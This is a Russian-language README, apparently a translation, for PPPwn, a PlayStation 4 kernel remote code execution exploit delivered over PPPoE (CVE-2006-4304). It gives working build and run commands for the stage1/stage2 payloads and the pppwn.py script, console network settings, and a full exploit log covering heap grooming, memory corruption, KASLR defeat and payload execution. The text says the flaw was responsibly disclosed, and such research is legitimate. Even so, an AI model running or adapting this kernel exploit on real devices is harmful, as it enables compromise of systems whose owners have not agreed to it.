
PPPwn - PlayStation 4 PPPoE RCE
PPPwn — это эксплойт удаленного выполнения кода в ядре для PlayStation 4 вплоть до FW 11.00. Это эксплойт proof-of-concept для CVE-2006-4304, о котором было ответственно сообщено в PlayStation.
Поддерживаются следующие версии:
Эксплойт лишь выводит PPPwned на вашей PS4 в качестве подтверждения концепции. Чтобы запустить Mira или аналогичные средства запуска homebrew, необходимо адаптировать полезную нагрузку stage2.bin.
Bridged Adapter, чтобы задействовать порт Ethernet в виртуальной машине.На вашем компьютере склонируйте репозиторий:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Перейдите в каталог склонированного репозитория:
cd PPPwn
Установите зависимости:
sudo pip install -r requirements.txt
Скомпилируйте полезные нагрузки:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Для других прошивок, например FW 9.00, передайте FW=900.
ПОКА НЕ ЗАПУСКАЙТЕ эксплойт (не нажимайте Enter), но подготовьте эту команду в приглашении (см. ifconfig, чтобы узнать правильный интерфейс):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Для других прошивок, например FW 9.00, передайте --fw=900.
На вашей PS4:
Перейдите в Settings, затем в Network
Выберите Set Up Internet connection и укажите Use a LAN Cable
Выберите вариант Custom и укажите PPPoE для IP Address Settings
Введите что угодно в полях PPPoE User ID и PPPoE Password
Выберите Automatic для DNS Settings и MTU Settings
Выберите Do Not Use для Proxy Server
ВСЕГДА дожидайтесь, пока консоль не покажет сообщение «Cannot connect to network: (NW-31274-7)», прежде чем повторять эту PPPoE-инъекцию.
Если эксплойт не сработал или PS4 зависла, вы можете пропустить настройку интернета и просто нажать на Test Internet Connection. Остановите скрипт pppwn.py и запустите его снова на компьютере, после чего нажмите на Test Internet Connection на PS4: всегда одновременно.
Если эксплойт сработал, вы должны увидеть вывод, похожий на приведённый ниже, а на экране PS4 должно появиться Cannot connect to network. с последующим PPPwned (или наоборот).
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
Код не компилируется на Apple Silicon и требует архитектуры AMD64.
Существует обходной путь с использованием Docker, который соберёт необходимые bin-файлы.
Склонируйте этот репозиторий в вашу систему Mac, затем из папки репозитория выполните ./build-macarm.sh. Это соберёт бинарные файлы для PS4 FW 1100 и разместит необходимые файлы в нужных папках. Чтобы собрать бинарные файлы для другой версии, например 900, выполните команду так: ./build-macarm.sh 900. После сборки скопируйте эту структуру папок в Linux VM и выполните всё, как указано выше.
Протестировано с использованием VMware Fusion 13.5.1, где гостевая ОС VM — Ubuntu 24.04, а хост-машина — MacOS 14.4.1.
Теперь одновременно нажмите кнопку «X» на геймпаде на пункте Test Internet Connection и «Enter» на клавиатуре (на компьютере, где у вас готов к запуску Python-скрипт).